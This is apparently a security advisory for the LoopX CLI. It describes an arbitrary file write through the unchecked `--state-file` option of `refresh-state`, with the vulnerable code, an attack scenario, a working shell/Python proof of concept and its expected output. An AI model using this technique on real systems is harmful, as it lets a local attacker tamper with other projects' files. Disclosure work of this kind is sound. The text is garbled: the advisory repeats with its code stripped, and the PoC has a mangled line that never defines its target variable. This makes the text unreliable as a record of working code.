Summary
The --state-file CLI argument to loopx refresh-state is .expanduser() and used as-is, with no containment check against the goal's project root or any expected directory. Combined with --next-action, this allows a local user to write attacker-controlled text into any file that:
- The user can write to.
- Contains a
## Next Action section.
The replace_next_action_section function modifies the file in-place via resolved_state_file.write_text(updated_state_text, encoding="utf-8").
Vulnerable Versions :
All versions of LoopX from initial release of loopx/state_refresh.py through commit ec37e88.
Vulnerable Code :
loopx/state_refresh.py (override accepted):
state_file = state_file_override.expanduser() if state_file_override else None
loopx/state_refresh.py (read):
if not resolved_state_file.exists():
raise FileNotFoundError(f"state file does not exist: {resolved_state_file}")
state_text = resolved_state_file.read_text(encoding="utf-8")
loopx/state_refresh.py (write, gated on --next-action):
with exclusive_file_lock(resolved_state_file):
...
if state_updated and not dry_run:
resolved_state_file.write_text(updated_state_text, encoding="utf-8")
There is no check that resolved_state_file is within the goal's project root, the runtime root, or any expected directory.
Details
The --state-file argument is intended to override the registry-derived state file path for advanced use cases. However:
- The argument accepts any path, including absolute paths and tilde-expanded paths.
- With
--next-action, the file is read, the ## Next Action section is located and replaced with the attacker-supplied text, and the modified content is written back to the same path.
- There is no containment check where the file can be anywhere on the filesystem.
Attack scenario :
- Attacker (a local user, or a malicious script running as the victim) identifies a target file that contains a
## Next Action section. Candidates include:
- Another LoopX project's
STATE.md (cross-project write)
- A markdown documentation file with a
## Next Action heading
- A file the attacker has previously poisoned to contain a
## Next Action section
- Attacker runs:
loopx refresh-state --goal-id legitimate-goal --state-file /path/to/target/file.md --next-action "malicious-content-here"
- The target file's
## Next Action section is rewritten in-place with the attacker-controlled text.
If the target file is parsed by another tool (e.g. a markdown-to-cron job, a documentation site generator that executes code blocks, a CI pipeline that reads the file), the attacker-controlled text can achieve further impact.
PoC
BASEDIR=/your/own/Dir/here
VPY=$BASEDIR/targets/loopx/venv-loopx/bin/python
SRCDIR=$BASEDIR/targets/loopx/src
python3 - <<'PY'
import subprocess
from pathlib import Path
VPY = "/home/your/Dir/venv-loopx/bin/python"
SRCDIR = "/home/your/Dir/loopx/src"
print("loopx ver:", subprocess.check_output([VPY,"-c","import loopx; print(loopx.__version__)"],text=True).strip())
print(subprocess.check_output(["git","-C",SRCDIR,"describe","--tags","--exact-match","HEAD"],text=True).strip())
PY
WORK=$(mktemp -d) class="pl-smi">$WORK/victim-config.md
cat > "$TARGET" <<'EOF'
# Victim configuration file
## Some Section
Normal benign content.
## Next Action
original-benign-action-2026
## Another Section
More normal content.
EOF
mkdir -p "$WORK/runtime"
sed -e "s|__RUNTIME__|$WORK/runtime|; s|__WORK__|$WORK|" > "$WORK/registry.json" <<'EOF'
{
"schema_version": "loopx_registry_v0",
"common_runtime_root": "__RUNTIME__",
"goals": [{
"id": "test-goal-0x1337",
"repo": "__WORK__",
"state_file": "STATE.md",
"domain": "demo",
"adapter": {"kind": "codex"}
}]
}
EOF
printf '# test-goal\n\n## Next Action\nnoop\n' > "$WORK/STATE.md"
$VPY -m loopx.cli \
--registry "$WORK/registry.json" \
--runtime-root "$WORK/runtime" \
--format json \
refresh-state \
--goal-id test-goal-0x1337 \
--state-file "$TARGET" \
--next-action "PWNED-0xDEADBEEF"
echo "Exit code: $?"
grep -E 'Next Action|PWNED|original' "$TARGET"
grep -q 'PWNED-0xDEADBEEF' "$TARGET". Attacker-controlled next_action written to: $TARGET
Expected Output :
Workdir: /tmp/tmpdrw02kgm
Target file: /tmp/tmpdrw02kgm/victim-config.md
Original '## Next Action' lines:
L6: ## Next Action
L7: original-benign-action-2026
Invoking: loopx refresh-state --format json
--registry /tmp/tmpdrw02kgm/registry.json
--runtime-root /tmp/tmpdrw02kgm/runtime
--goal-id test-goal-0x1337
--state-file /tmp/tmpdrw02kgm/victim-config.md
--next-action 'PWNED-0xDEADBEEF'
Exit code: 0
stdout[status]: None
stdout[state.path]: /tmp/tmpdrw02kgm/victim-config.md
stdout[state.sha256_16]: cf9a408d1deee45e
L6: ## Next Action
L8: - PWNED-0xDEADBEEF
Attacker-controlled next_action written to: /tmp/tmpdrw02kgm/victim-config.md
Impact
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N HIGH 7.1
Fixed in
Summary
The
--state-fileCLI argument toloopx refresh-stateis.expanduser()and used as-is, with no containment check against the goal's project root or any expected directory. Combined with--next-action, this allows a local user to write attacker-controlled text into any file that:## Next Actionsection.The
replace_next_action_sectionfunction modifies the file in-place viaresolved_state_file.write_text(updated_state_text, encoding="utf-8").Vulnerable Versions :
All versions of LoopX from initial release of
loopx/state_refresh.pythrough commitec37e88.Vulnerable Code :
loopx/state_refresh.py(override accepted):loopx/state_refresh.py(read):loopx/state_refresh.py(write, gated on--next-action):There is no check that
resolved_state_fileis within the goal's project root, the runtime root, or any expected directory.Details
The
--state-fileargument is intended to override the registry-derived state file path for advanced use cases. However:--next-action, the file is read, the## Next Actionsection is located and replaced with the attacker-supplied text, and the modified content is written back to the same path.Attack scenario :
## Next Actionsection. Candidates include:STATE.md(cross-project write)## Next Actionheading## Next Actionsection## Next Actionsection is rewritten in-place with the attacker-controlled text.If the target file is parsed by another tool (e.g. a markdown-to-cron job, a documentation site generator that executes code blocks, a CI pipeline that reads the file), the attacker-controlled text can achieve further impact.
PoC
Expected Output :
Impact
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N HIGH 7.1
Fixed in